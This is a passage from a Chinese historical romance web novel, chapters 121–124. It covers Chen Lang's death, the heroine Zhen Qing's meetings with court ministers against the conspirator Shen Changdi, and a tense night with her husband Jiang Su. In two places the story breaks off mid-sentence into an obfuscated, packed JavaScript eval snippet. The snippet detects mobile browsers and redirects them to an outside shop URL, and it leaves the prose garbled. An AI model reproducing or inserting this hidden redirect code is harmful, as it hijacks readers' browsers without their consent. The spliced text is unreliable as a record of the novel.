陈琅呼吸一窒,瞳孔猛烈震颤,他绝对没有这样的心思,可是他知道自己的所作所为已经把枕清逼到一个极限,他掩饰仓惶与落魄,失神道:“你也曾救过我无数次,要还我,也是我还你。” “那你还给我!”枕清冷冷看着他,轻轻笑着,一如他那般模样。 “好啊。”陈琅当即拿起利剑在自己身上捅了一刀。 速度快到只能让枕清看到一道残光,可即便看清了,枕清连眼角眉梢都不曾动一下。 他的嘴角溢出鲜艳的红血,陈琅唇瓣扯开一丝笑颜:“不管你信不信,我从未想要与你对立。你当真不知道沈昌砥就是枕淮吗?所以为什么枕灵会自刎,为什么我会说我从未想与你敌对,是因为他是你的亲生父亲,可我还是没料到事情会发展到这一步。” 说着,他有些难受。 陈琅握着剑,既然走到如此地步,那么通通说个痛快与干净好了。 他缓缓靠近枕清,继续道:“其实我走的每一步,都只想能与你更近一点,可我发现,我的第一步就错了,我不应该离开雷州,更不应该离开你。” 鲜血一直流,他一呼一吸都是痛的。 这一生,就好像是做了一场很飘渺的梦。许久后,他都不曾听到那熟悉的声音,他知道自己真的与枕清南辕北辙。 “枕清,你想要我活着,还是希望我死?”陈琅忍着伤口的痛,那双漂亮的桃花眼一如既往地深深望着她,让人不自觉沉溺其中。 他这般清贵模样,骗了所有人,也骗了她。或许没有骗到她,只是她愿意去相信他。 陈琅依旧没有听到回答,他那双眼睛的失了神,一点又一点暗淡下来,他突然扯了扯唇瓣,自欺欺人般笑着说:“你果真还是舍不......” “死。”枕清当即打断了他接下来的话,她在知道所有真相后,已是痛恨极了陈琅,她冷冷凝视陈琅的错愕,并未有任何隐藏掩饰的意思,冷漠地重复,“我希望你死。” “好。你知道我向来对你最好,那就如你的愿。”陈琅握住枕清的手,将那柄没入一点的长剑猛地刺入体内,听到“嗤”地一声,穿透后背,深深的血汩汩流出,沾满了枕清的手。 果然,他知道怎么伤她才是最痛的。明明她那么厌恶血,却还要握着她的手。枕清亦是伤人,她轻轻一笑,讥讽道:“陈无极,你这是想让我永远记着你么?你在我身上打错了算盘,今日我或许会记得你,那你能确保明年、后年我依旧能记得你么?我告诉你,我不会记得你,永远不会。” 枕清是个极其决绝的人,她的确有这般想法,可是陈琅竟然没有生气,仿佛就跟知道了一样,只是有些难过,他察觉自己的血好想快流干了,气若游丝道: “我这么坏,你不记得也好。枕清,你应该笑的,你笑起来很漂亮的,就是因为第一次你对我笑,我喜欢你喜欢了好多好多年......” 枕清没有回答,直到看到他闭上双眼,再也没有任何的气息,倏地心中一空,她眼眶里的泪水霎时争相夺出,滚烫到好像要把她整个都灼烧了一般。 她垂眸望着了无声息的陈琅,小声说:“如果知道你会喜欢我,那么我就不会对你笑了。” 121. 山高水远浪天涯(八) 枕清走出了出来,所有人看到她满手鲜血,不禁愕然,又不敢多看,当即垂下脑袋。宁千渝总归是见过大场面的人,她不慌不忙的拿出早已经备好的湿帕,将枕清的满手鲜血都擦拭干净,又吩咐底下的人:“去处理干净。” 枕清知道宁千渝一直候着,她看着她仔仔细细为自己擦拭的模样,却没有一句质问和疑惑,她突然不知道该说什么,只得轻轻叹息一声,问:“云将军什么时候回来?” 宁千渝答道:“明日就到长安了。” 枕清说:“把将军请出来吧。” 众人听到这样的动静,神色一动,心中的思绪不禁变了变。倘若是让江诉出来,那么改日在朝堂上见面,岂不是分外眼红。 如果在朝堂中脸红脖子粗的吵架,势必又是底下人受罪。宁千渝道:“贵主不打算去看一看吗,还是说直接让将军出宫门?” 枕清摇摇头说:“直接出去吧。我今日无暇去见任何人,想回殿中休息,一切后续皆由你来安排。” 是这么说的,可一到殿内,枕清也睡不去,她夜起坐在院子中央,忽而有人走了进来,她抬头看到来人是师坤尧,心思倏地一沉,又一松。 待人完完全全靠近时,执一忽然出现,站在两人中间,枕清抬手挥退执一,单独跟师坤尧说:“我有事找你。” 师坤尧看着久久不肯离开,对他虎视眈眈的执一,莫名笑了一下,今晚可不是他特意来的,而是枕清让他来的,他收回目光,开口道:“贵主请说。” 枕清毫不客气道:“当初我救了你,让你答应我,替我做一件事,现在我知道要让你做什么了。”她在师坤尧身旁小声耳语,听得师坤尧眉头紧蹙,他忽而笑着看暗卫方向,偏过脑袋问:“那是江诉的暗卫,贵主这是不信江诉,防备着他么?” 夜晚的风极凉,凉到整个人都是冰寒的。可是枕清的心比这风还要凉,她没有明确地说,只是模棱两可道:“你可以这么认为。” 可以这么认为,在师坤尧心中,那么就是相差无几,这不算什么大事,师坤尧当即应下道:“我答应你。” 他话锋一转,“你与江诉那些事情,我知道,那么别人也一定清楚,你与江诉当下不和,还是少让人知道为好。而你让我做的这件事,我只能保证在那一天拦截住他,但过了那天,江诉的人马来了,我不作保证。” 枕清摇头,坚决道:“不管如何,必须三天。” 师坤尧落在这样坚定的目光中,居然有点犯悚,他妥协道:“好。” 说完这件事,师坤尧走了,要是再留下去,江诉留在枕清身边的暗卫或许在下一刻就要把他刺穿。 人走后,枕清又是独自一人坐在院内,她回想着今日陈琅所说的话。 沈昌砥就是枕淮,所以薄映禾会自刎。可他既然没死,为什么不与之相认呢。他既然能冷眼看着枕灵自刎,那么她身上的毒,还有禹王的刺杀,符家的长辈身死,一桩桩一件件离奇的事情,就好像有了根源。 原来他就是枕淮,那么她这么多年的复仇,想要为枕家找回真相,变得如此可笑,重回这一世,竟然也这般叫人觉得无奈。 所以沈昌砥一直把她们所有的动作看在眼里,如同在逗弄蚂蚁一般,看她们为了搬回几袋大米而焦灼的晕头转向。 他把所有人都玩弄在股掌之中。 上至先皇殿下,下至至亲孩子。 冷风一吹,她的脸颊上居然又有两滴泪水,她这一年流的泪太多,落泪并不能解决问题,枕清抬头仰望着一弯清丽的明月,她用力抹开脸颊上的眼泪,狠厉的神色隐藏在夜色之中,被重重镇压在辉煌巍峨的宫殿之下,转瞬之间,一切都恢复如常。 - 云行野云江诉进宫是晴朗的一日,长安城内无不雀跃欢呼,枕清知道河东道已经被夺回,安南人完全被打退了去,大启士气大增,天下百姓不再受战乱苦楚,士兵不用为了打仗离家不能侍奉在爷娘跟前而苦恼。 枕清特赦长安三日不宵禁。 册封大典那日,大监站在高殿之上,读着诏曰,特赐嘉奖。 先从为首的江诉、齐离弦、云行野,再到邓跃、张飞飞、牧青,最后是那些已经逝去的人,无论是云流、李檄,还是商震、北肆姝,还有许多不曾听过的名字,都得到封官进爵,就连远在陇右道的卷柏也拿了一份。 这份奖赏太长,听得人也为之动容。 待完完全全说完,所有人都谢过圣上之后,郁华隐才开口道:“早在河东道时,我与圣上也曾见过江将军,江将军也曾应允过做聿怀的老师,虽说将军已经身兼多职,但是不妨碍再多一个身份。” 既然已经说出来,江诉自然不可能拂了郁华隐的面子,他行礼道:“全凭太后殿下安排。” 这一次没有如同往常那般吃廊下食,枕清早早就命人准备接风宴,宴请了诸位。牧青与云行野一反常态地闷闷不乐,而齐离弦封了千户侯,以河北地益封三千户。她虽然接受了,可是终归还是更向往外面的世界。 枕清看出齐离弦的想法,道:“留着吧,也算是一个保障。即便如此,也不妨碍你游山玩水。” 齐离弦盯着枕清的目光看了好半晌,担忧说:“你好像变了?” 原以为枕清会问她哪里变了,可枕清只是轻轻一笑道:“人都是会变的,你也变了,阿弦。” 是啊,人生在世,哪有人能一成不变的。 齐离弦轻声说:“我懂他的野心勃勃,理解他的卑劣伎俩,贪恋他的温柔缠绵,也是真心希望他死。所以,我亲手杀了他。” 这个他不言而喻。枕清忽然觉得人生就像是一场暴风雨,虽然已经忘记了电闪雷鸣,却还是能记得自己在雨中的狼狈样子。 她没有回答齐离弦,她问:“你之后打算去哪里?” 齐离弦洒脱道:“山高水远,浪迹天涯。” 天涯。枕清失神地喃喃,忽地见身前多了两人。 张飞飞和邓跃喝了两口酒水,一下子回到了陇右时期的野性,蓦地没大没小地到了枕清跟前,哭诉地质问道:“夫人给云将军留下的信件中为何没有我们两人的名字,夫人当真是不知道我们在河东过得有多苦,云将军压根不信我们,只信夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067856|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人信中留下的将军、武安侯、牧刺史,还有商将军与北将军!” 一下子说了这么多人名,枕清一下子哭笑不得,她与他们是相处过的,倒也觉得没什么,反倒是旁人开始指指点点,那眼神是嫌弃又像是不甘,赶紧换了几个人说:“快将人扯开,这成何体统!” 枕清听罢,当即抬手制止,她向来不与他们讲这些虚礼。 原本就没有请那么多人,可是同在朝中,还是得要认识几个脸熟的。 枕清见没人上前,却又生怕他们要在自己面前要哭着说委屈,她是知道这件事的,倒也没有被这些话说得措手不及,于是脸不红心不跳地哄骗说:“那想必是云将军没有看到,我是写了你们两人的。” 如此矛头一转,两人果真顿了顿哭声,猛然看向云行野。本来还沉浸在萧索之中的云行野遽然变得警惕了起来,如同看向豺狼虎豹般盯着那两人,又目光探远到已经事不关己的枕清,简直把他气得牙痒痒。 好像一下子又回到了初见那日,枕清故意诱着江诉出现,从而抬高他要买的那把剑的价格。 他神情默了默,只好再次咽下苦果,一如当年。 云行野说了几十遍自己错了,才安抚好那两人的心情。待人在自己跟前离开后,他心不在焉地看着身旁的江诉,恍惚想到当初自己问江诉为何会知道阿之奎时,江诉说大朝节,是阿之奎代替安南国来供奉进献的。 可是江诉,在齐离弦射杀阿之奎的那一刻,为什么会在你的眼中看出不忍与内疚,那样的神情他从未在江诉身上见到过。江诉,你当真不认识阿之奎吗?可为什么当我凑近你的时候,阿之奎会那样艳羡。 究竟是因为我可以明晃晃把你当作朋友,还是你时常给我兄长般的照顾令他羡煞。 而你又为什么在最后那场战役后,背着所有人回到尸山血海中翻找了两个晚上,你是究竟是想找谁? 是阿之奎吗? 云行野掩饰情绪,他笑了笑道:“来听,其实你和阿之奎很早就已经认识了吧?他不是南疆人,他和你一样都是银州人。” 事到如今,确实没有什么可以隐瞒的,可是他还是记得阿之奎说的话,江诉喝了一口清酒,慢声道:“我不认识他。” 不认识。 云行野笑了笑,他自然知道江诉在说假话,只不过一定是阿之奎说了什么,所以才让江诉如此回答他的。他耸了耸肩,倘若是在几年前,他一定会揪着江诉对他撒谎不放,可是现在的他已经长大了,知道了每个人都有自己的不得已。 身不由己,好像从出生那一刻就已经开始了。 云行野虽然借着自己的功绩与父亲,足够在长安站稳脚跟,可是他并不想如同父亲一样,交织在朝廷的漩涡之中。当初耶耶为了姑母一直斡旋其中,可是现在的他已经变成孤孤单单的一个人,没有任何留恋,他选择离开长安,去往他想去的远方。 云行野与齐离弦离开的时候,是风和日丽的午后,他们二人骑着烈马远行,逐渐消失在眼前。 此后长风千万里,策马扬鞭,少年奔赴他们的万水千山。[1] 122. 天回地转春犹在(一) 这段时间很忙,枕清私下跟许多大臣都有交际,她先找了包改常。 包改常挂着一如既往的和煦笑容,按照包启元几年前在太学时候描述他阿耶,简直是两般模样。 枕清与他对立而坐,并没有因为长辈而产生敬畏与惧怕,她也挂起点点笑容,开口道:“我知包御史最近忧愁,不知道站队到哪一边,我此次秘密召见御史大人,也并非真的要给御史大人施压,不过现如今皇帝始终就那一人。”说及此处,她垂眸泡了一壶江诉经常泡的茶水,也替对面的包改常斟了一杯茶,缓缓道,“我们底下人斗生斗死,有何意义?” 包改常诧异地瞧了一眼枕清,实在摸不清这位贵主的意思。这是要两方议和么?他呵呵一笑,正想要附和,可不料枕清没有等着他回答,而是眼眸深谙,她轻轻叹道:“可是,我真的想要沈昌砥死。” 此话一处,包改常心中大恸,他说也不是,不说也不是。没想到枕清居然在他面前这般直白说了出来,即使着寒冬腊月,可他还是泌出层层冷汗,浸透脊背。 枕清说:“沈阁老已经穷途末路了,您是包启元的父亲,我今日只不过是看着他的面子才与你细说。太后殿下是我带回长安的,她自然站在我这一边,她在我这里,那么圣上自然也是与我一道。现如今我这边还有江诉,以及他手中的兵,而陇右大都督又与江诉关系交好,自然也和我是同一路人。”她笑了笑,“我是枕清,我的养父是禹王,还有左金吾卫石棠磊,以及太后殿下留下的人。” 这么多人,枕清的确后顾无忧了。 可是他们这些老人在朝中的势力也极为庞大,并非三言两语就能叫枕清蛊惑,包改常笑着说:“可是沈阁老还有秋迹,以及谢冠。谢冠在长安就有兵,他若有谋划,别说远在陇右的符都督,就连江诉都难以匹敌。” 这么久倚靠沈阁老,不就是因为谢家的兵符。 枕清怎么会不知道。她突然狂笑不止,笑到最后让外边等着包启元都忍不住发颤,忍不住频频看向里边,就怕这两人真的互相不对付。 可又觉得自己多虑了。 枕清倚靠在凭几上,抬手拭了拭自己眼角的泪花,神情隐匿在烛光下,晦暗不明,她沉着声道:“那兵符是我亲手递给谢家二郎的,那么你觉得我会没有留下后招?难不成我真的会把真的兵符递给谢二郎?” 包改常神色变了又变,逐渐变得古怪了起来。他们这群人都知道谢家的虎符被偷了,当初以为是落在云嘉颂手中,可是前段时间谢长均居然把虎符带回来了。还以为是找回来,不曾想居然是枕清递到谢长均手中。 枕清慢慢悠悠地注视包改常神色,她看到他惊疑不定,看他面露疑惑,又看他纠结挣扎,她才轻轻道:“包御史,你或许可以不信我,但是你总得要信一信三郎吧?” 最后,包改常不再挣扎,他拱手道:“我信贵主。” 枕清满意点头,她眼神一挑道:“你也只能信我。” 包改常被枕清的凌厉所刺激,他问:“为何?” 枕清伸出食指朝着大殿的顶端画了一个圈,她笑着说:“自然是因为宫中都是眼线,我虽是私自召见你,不过这消息早就传回了沈阁老耳朵中了,即便你不选择我,你在他心中,也变成了弃子。所以,包御史好在信了我,不然在日后,朝中难以有御史的容身之地。” 如此一说,包改常被背后浸透的汗水碰到皮肉,激起一个激灵,他唇瓣翕动,不知道是因为恐惧枕清的手段,还是觉得枕清心思如此深沉。 倘若他没有选择枕清,那么枕清也不会强迫,只是去过枕清这里的他,又有枕清提携的包启元,沈昌砥会弃之如敝履,自然把他视作是与枕清一道的人。而他如果再回来找枕清,也就没有任何资格,枕清未必会容纳他。 到那时候,包家才是落魄的时候。 不知道什么时候,包改常居然已经恍惚地站在大殿门前。他回过头看向漫不经心的枕清,忽然发觉自己太小瞧枕清,而又发觉她的手段似乎和沈昌砥的行径,竟然在某一刻重合了,既然自己用不上的人,那不如当成一个完完整整的死棋,掀不起一点风浪。 包改常推开殿门,看到了包启元,包启元也看向他,担忧上前询问:“阿耶,你的面色怎么这般难堪。” “我没事,我们回家吧。”包改常抬手拍了拍包启元的肩膀道,“你阿娘还等着我们回去吃饭呢,赶紧走吧。” 包启元笑着说好。 送走了包改常,枕清就等着下一个人来。 来的人却不是谢冠,而是谢长均。 枕清不知道应该和谢长均说些什么,因为她那些话都是对谢冠说的。 谢长均非常不好意思地笑笑,他说:“阿耶生病了,他让我代他来。” 枕清说:“无妨。” 许久后,两人都没有开口,枕清说:“你理应知道朝中局势,谢二郎,我不想我们敌对。况且,你大哥好似要与许家娘子定亲了,许家算得上太后殿下半个母家。” 她没有继续说下去,有些事情,点到为止就好。 谢长均说:“我知道了,多谢贵主提醒。” 枕清看着谢长均走了,她透过一小片窗棂,望着外边枯索的景色。 不出片刻,秋迹就出现在了眼前。 枕清缓缓拨开香薰,她全然没有对包改常那样提起笑容,也没有如同对谢长均那样平静,她面无表情地看着对方坐了下来,直接戳人痛处道:“秋老应该没过几个团圆年吧?我还记得我与秋淮波有过几面之缘。” 久来没有听过这个名字,秋迹瞬间抬起凌厉的眼神,直直射向枕清。枕清视若无睹,她嘴角弯起轻蔑的笑:“我还以为秋老都已经忘了,不过忘了也正常,秋老还有还有许多子嗣,死了一个,又有何妨。” 这么一下又一下往人伤口上戳,就算是天王老子来了,也得叫上几声,秋迹自然也不意外,他面上怒意浮起,拍案而起道:“倘若贵主是想要戳我痛处,那我就先走了。” “倒也不是想为难秋老,只不过是想告诉秋老,当初秋小郎身死,并非是意外,而是因为阿之奎的报复。”枕清抬起眼,“为何我会知道,因为当初秋小郎想要阿之奎身旁的女娘,阿之奎不乐意,所以借刀杀人。” 秋迹的心绪慢慢被抚平,他缓缓坐下,不屑道:“我为何要信你?况且阿之奎已经死了。” “是啊,阿之奎死了。”枕清呢喃道,“可是秋老真的不觉得奇怪,河东道一下子就被阿之奎攻下多座城池,当真没有一点猫腻?而在阿之奎手中,有河东盐池这一个香饽饽,竟然没有打算过,河东盐池甚至一点也不受其影响,这又是为何?” 枕清不待人回答,直白说:“自然是因为,沈昌砥卖.国。” “你这是污蔑!”秋迹不能接受,他怒指枕清道,“你这是明晃晃的污蔑,贵主饭可以乱吃,话却不能乱说!” 枕清也跟着拍案而起,她怒目而视,在这样极端的针对中,她强迫自己挤出笑意道:“污蔑么?你跟沈昌砥这么久,你难道不知道他究竟是什么人?真是可悲可叹,秋迹,我告诉你他为什么想要叛国,为什么会帮着阿之奎,因为他就是沈淮!”她沉声道,“就是二十多年前早该成为刀下魂,被满门抄斩的枕淮!他现如今不仅进入朝堂,还在你身边,把你,把我们所有人都当成一条狗在玩!多有意思啊,所有人都被他玩弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081128|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于股掌之中!” 她低低笑出声来,就连肩膀都止不住抖动,看着秋迹浑浊老态的目光充满不可置信,摇摇欲坠,枕清却没有因为他不能忍受这些话而可怜地不再开口,她残忍道:“你帮着他,就是帮着杀你儿子的仇人,秋老啊,我看您真是糊涂了,早早归乡吧,或许还能捡回你自己这条命呢。” 秋迹恍惚,他痛苦地指着她,颤声道:“你信口雌黄,满口谎言!” “我信口雌黄,我满口谎言?”枕清真的笑了,她已经近乎疯癫,眸子布满戾气,她冷冷看着步步后退的秋迹,稳步朝他逼近,“秋迹,你猜猜我是谁?我养父是禹王,几年前大家都唤我为怀睽县主,我究竟是谁?你说我究竟是谁?!” 秋迹的状态俨然不比枕清好到哪里去,可是枕清真的快要疯了,快要被这些事情逼疯了,她见秋迹心中明了,却迟迟没有回答出来,她仿若做了一个善良的人,慈悲地告诉他道:“我是枕清,是早在二十年前就该死的人!你可以不信我说的话,不信我的身份,但愿秋老一辈子都能像这此刻一样,糊涂就好。” 说完这句话,枕清瞥了他一眼,旋即毫不留恋地走出殿外。 宁千渝早早等着,那些话听得她胆战心惊,知道枕清楚心中痛苦无法疏解,她恨不得自己去亲手去杀了沈昌砥,可是现在的她还是什么都做不了,只能看着枕清痛苦、难过。 枕清今日连见了三人,原本的气定神闲早已经维持不住。 她全身支撑在宁千渝身上,喉咙突然一涩,她想要压下去那口冲上来的血,却没想到被自己硬压着,适得其反,口中呕出一大口鲜血,落在脚底的雪地之中,宛若盛开的梅花。 是那样地鲜艳,又那么地苦寒。 宁千渝惊慌地搀扶住枕清,慌慌张张道:“去唤太医丞过来!” 枕清笑着拍了拍宁千渝,安抚她的情绪道:“我没事,你去把义宁叫过来。” 义宁到的时候,枕清躺在床榻上,他看着人这般模样,心中是说不出的滋味,还没待他开口,枕清的手腕已经探出来,义宁顺势为她把脉。 枕清默了一会,淡淡道:“陈谷也曾为我把过脉,他说我行将就木,命存一线。”她笑着,“想必你也能把的出来我体内有两股毒,相互制衡。义宁,我的毒,你应当很熟悉,出自太医令之手。” 义宁久居太医署,终日与草药书籍为伍,自然知道,他放下手,跪在枕清的床榻前,他慌道:“祖父已经到了这般年纪,受不得贵主那些手段,我愿代之,恳请贵主能高抬贵手。” “我放过他,谁放过我?” 枕清冷笑,她当即掀开帷帐,垂眸望着他低着头,整个身子躬成一个弧度,就如同所有人在她面前伏低做小的卑微。曾经几时,她从未想过自己与义宁会像这般模样。 虽然没有看到枕清的神情,可是义宁还是能察觉头顶那股凌厉的目光,他以额触地,磕了一个响头。好像说什么都占不得上风,只好沉默不语。 两人的无声拉长了时间,一丝一毫都叫人如此难以忍受。枕清也不想杀了,她手中沾了许多人的血,若真要算,也不怕再多几个,可是她真的有些累了。 “他老了,让他辞官吧。”枕清沉沉闭眼,“还有他究竟把毒药给了谁,一并问出来。” 义宁明白枕清这是松了口,他心中没有庆幸,更也没有劫后余生的高兴,反倒有些说不出的难受,枕清究竟是为何而妥协。 而他明明知道这是要了枕清命的毒,可是他还是强人所难的让枕清放过自己的祖父,他好像永远都要矮枕清一头,也在枕清身前抬不起头。 义宁压下喉中的哽咽,低声道:“多谢贵主。” 123. 天回地转春犹在(二) 年关将至,又过了新的一个年头。 枕清已经快忘了这究竟是第几个年了。她看着宫内张罗布置,张灯结彩,一切都在一片喜色之中。 她走在长廊之下,想要去往藏书阁中,身后宁千渝捧着汤婆子亦步亦趋地跟在她身后。身前突然出现了一人,她看着朝自己走来的江诉,驻足凝望,江诉带着清洌好闻的气息,令她失了神,直到被抓住了手腕,才堪堪回神。 江诉温柔笑着说:“今日你还要留在皇宫内,要不跟我回江府去?” 最近几天,长安城中经历了热闹繁华的景象,逐渐归回寂静。朝中也休沐,进皇宫的官臣寥寥无几,都在家中陪着孩子长辈。 之所以现在还能见到江诉,大概是因为江诉真的想他们两能在一起过一个好年。 枕清回头想要去看宁千渝,却见不到人了,不知道是何时走的,她无奈叹息一声,没有看到旁人,也就容许自己放肆一回,不与江诉装作不合的样子,反而牵起他的手,道:“先陪我去藏书阁吧。” 落雪无声,江诉与枕清一起走在雪地之中,枕清走几步就看几眼江诉,从几处白雪,看到满头白雪,两人终于停在了藏书阁前。 枕清踮起脚尖仔仔细细抚开他的肩膀上的雪,笑着问:“江诉,我们这样,也算共白头了吧?” 江诉能感受到枕清在他身上留恋的目光,就好像是最后一眼,格外珍重,就如同上一次自己引诱枕清去河东,自己去找兰州刺史报仇那般,孤注一掷,绝不回头,却又对身旁的人念念不忘地挣扎。 即使他不知道枕清这是什么意思,可又隐约能猜测到,枕清大抵是发现了什么,想要自己一人去把这件事完成了。 “不算,这样怎么能算白头呢?”江诉将枕清冰冷的手放在自己手中捂暖,“枕清,我们成亲了,你是我的娘子,我是你的郎君,你别瞒着我,让我也知道吧,不要像薄娘子一样。” 不知道为何说到薄娘子,枕清心中一颤,她深深看着江诉,江诉非常非常认真地说:“你如果死了,我也活不了。所以,只有你活着,我才能活着。这个世上本就无我所留恋的东西,唯有你,枕清,唯有你。” 枕清失魂落魄地垂眼,她扯出一丝笑容,放开江诉的手,一下子冰冷的气息好像钻了空子,顺着指尖,遍布全身,让她如坠冰窖。 她形如傀儡,魂魄游离在外,只能靠着身体上的记忆,一步步上了阁楼,她停在一处薄册上停留,是当初自己故意放在这里的枕家几百人的花名册。 抬手将册子抽出来,放进自己的袖子中,回头看向一直停留在自己身上的江诉,笑着说:“我好了,今夜,我跟着你回江府。” 江诉静静凝望着枕清,他忽而问道:“难道不需要和太后殿下说一声?” 枕清说:“不用了,昨日才找过她。” 江诉拉过枕清的手,他有许多话都堵在喉咙中,没有开口,也没有询问,就是这么简简单单地握住。可是枕清被江诉的一反常态惊扰了,不知道为何,心中不免升起前所未有的慌乱,就好像是隐约被江诉发现了什么,又像是自己的心虚与害怕。 回到江府,也是热闹景象,江诉带她先见了老管家,老管家似乎知道她与江诉的关系,满心满眼地都喜上眉梢,完完全全把她当作府中的女主人看待,甚至还给她说起来家产,以及存库的钥匙,令枕清啼笑皆非。 看来江诉也没跟这位管家说她的身份。 这也只是那么一点的小状况,这几年江诉一直在外,也难为这老管家一人看着这江府。 枕清听着,时不时回以一笑,走过大堂,忽地见到羞赧不知所措的邓跃与张飞飞,还有身旁一言不发的牧青。他们几人大抵是第一次在长安过年,枕清笑着说:“今日没有外人,就当在陇右时那样。” 他们都应了声。 吃完晚饭后,枕清看着阁楼中的景色,她忽而道:“我要出去,江诉。” 江诉知道枕清这一晚都心不在焉,他说:“我陪你。” 枕清想要去找沈昌砥,也有别的事情想要跟沈昌砥解决,这件事太过冒险,倘若让江诉知道得越多,那么就越危险。而江诉也一定不会让她以身犯险。 她本能地想拒绝,却好似被江诉看出了内心,她开口说:“原本想要去看看外边终究是怎样的一番景色,但想着家家户户都在过团圆热闹的日子,倒也没有意思,雪天路滑,天色又渐黑,还是不去好了。” 枕清这般话说得客套,江诉也知道她在掩饰,他直白说:“枕清,你在说谎。你想要去见谁?”江诉说出一个人名,“是沈昌砥么?” 听得枕清心头一愣,暮昏之中,枕清慢慢红了眼。 江诉痛恨极了枕清对自己这般隐瞒,一次又一次地把他扔下。上回她连续召见了三个人,将包改常说服,让谢长均开始谋划,令秋迹大门不出二门不迈。她这是想把沈昌砥身边的人逐步瓦解。 那么后面,后面又想要做什么? 背着他私自动手去杀了沈昌砥? 枕清被江诉抵在床角毫无退路,右手的手腕被紧紧环住,她只能费力地用左手将手隐藏,颤抖的手死死握住那一本孤册,以及藏在袖中的匕首。 可这时,江诉却停了动作,松开了手腕,修长的手指从手腕滑下,穿过枕清的手指间隙,轻轻扣住。 江诉将头埋在她颈窝间,闻到了淡淡的芳香,是一种熟悉的感觉,一如那时在凉州第一次的亲密,是那么青涩甜蜜。江诉侧了侧头,离枕清的耳垂又近了一些。 “枕清,你不要骗我,也别抛下我。” 青年的目光在黑暗中异常清澈,用一种低沉颤抖着的声音。 不同于江诉行军作战时的那种威严,是一种难以言说却又格外残忍痛苦的声音,偏偏又夹杂着原本的清冽。 枕清被耳畔的温热气息挠得不安宁,再加之刚才的那句似是在她心中埋下了深深的种子,这是她爱的人的卑微请求。 可就是这么简单的请求,枕清已经反悔了好几次。可是她不想让江诉陷入朝中的泥潭沼泽,险恶前行。 在沉思纠结间,她袖中的匕首与册子,在她放松警惕的刹那间,滑落到床榻上,发出沉闷的碰撞音。 枕清觉得这种声音异常刺耳,有种心也随着重重掉落的感觉,更似这把匕首狠狠扎进她软肋的撕心裂肺。 她猛地看向江诉,眼中浮起 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他对枕清向来温和,今日是为数不多的恶语相对。江诉冷笑道:“一个从小就能在你身上下毒,能眼睁睁地看着亲生孩子在自己眼前自刎的人,你妄想他在你身上能有什么感情?枕清,你别犯傻了,你只有好好活着,才能不辜负你自己的一路艰辛。” “可是我好痛,我真的好痛。”这么多日以来的积压,让枕清溃不成军,她突然痛苦地笑了出来。 这一生都好似过得荒唐,如同黄粱一梦。明明一直在追求的真相,变成了要杀死的真相,明明一直在守护的人,却又都死了。 她想要保护的师父与阿耶,想要渴求的亲情,寻求的真相,都没有了。 她每说一句,就如同刀刃划开她的皮肉,锤子打断她的肋骨,字字泣血:“我不甘心,我痛苦、憎恶!凭什么我们所有人都被他当成狗一般戏耍,看着我们这样,他很开心,很高兴么?我偏要他也要感受到我的万般难受!江诉,我已经不想再等下去了,你别拦着我!” 她已经被仇恨失去理智。如此状态,如此模样,江诉怎么敢让枕清去。他怕枕清跟薄映禾一样,更怕她做出什么伤害自己的事情。枕清见状,深吸一口气,悄悄摸上旁边的匕首,江诉反应过来,当即要抢,顷刻间,忽有飞出血迹,滴溅在棉被上。 是枕清手臂因尖锐的匕刃而擦出的伤口。 在下一刻,江诉在枕清平静的眸光下,当即在自己手臂上划了两道与之同样的伤口,枕清心中颤痛,仿若比自己的伤口还要痛上百倍。 她受伤的次数多了,也就没那么怕疼了,可是她会怕江诉疼。 原来看着喜欢的人受伤是那么痛苦的一件事。 枕清没顾得上自己的伤口,眼中的泪掉个不停,她怒道:“你疯了!” 江诉冷声道:“我是疯了。枕清,你知不知道我的心有多痛?若是你在自己身上划出一道伤口,那么我在我身上划上两道,倘若你敢与沈昌砥同归于尽,那么我在见到你尸首的那一刻,我当即自刎,陪你下地狱。” “江诉,我恨你!”枕清突然挣扎着咬上了江诉的肩,小声啜泣道。 江诉全然没有因为自己破坏了枕清的行动而感到自责,更没有觉得自己为了能让枕清冷静下来,而在自己身上划出伤口而内疚。 他任由枕清在自己身上留下痕迹,最后,他也轻轻道:“枕清,我也恨死你了!” 124. 天回地转春犹在(三) 翌日一早,窗外皆是白茫茫一片。 站在门外的牧青想要敲门,却被邓跃与张飞飞一把按住。三人的目光相互交换,都察觉到昨夜这屋内的不妙,谁也没敢打扰。 他们三人打算收手离开,屋内的江诉推开了房门,看着面面相觑,想要落荒而逃的三人,问道:“何事?” 邓跃率先回过神来,开口道:“快到午膳了,旁人不敢来打扰,所以我们特来问问你与夫人。” 江诉这才回头看向枕清,枕清在方才就已经梳洗完毕,她在江诉探寻过来的目光中,忽地朝一侧望去,可看向自己的那道目光并没有因为她的躲避而收敛,反倒更加灼热,如有实质。 她眼睫轻轻颤动,也不想在他们心中闹得这般难堪,遂起身道:“无事,一起去用膳吧。” 他们见枕清走了出来,当即让出位置,却又隐约看到手腕都有一处伤口,几人心止不住地惊恐,在枕清与江诉身后挤眉弄眼,相互推搡。甚至在一处湿滑的地面摔了一脚,枕清与江诉听到动静一一回头,只见他们三人摔得歪七扭八,欲作挣扎,却又爬不起来,行径与表情极为怪诞。倘若不是因为昨日一事,枕清一定会扑哧笑了出来。 她现下没有旁的想法,可是如此荒诞模样,也叫她忍俊不禁:“你们这是?” 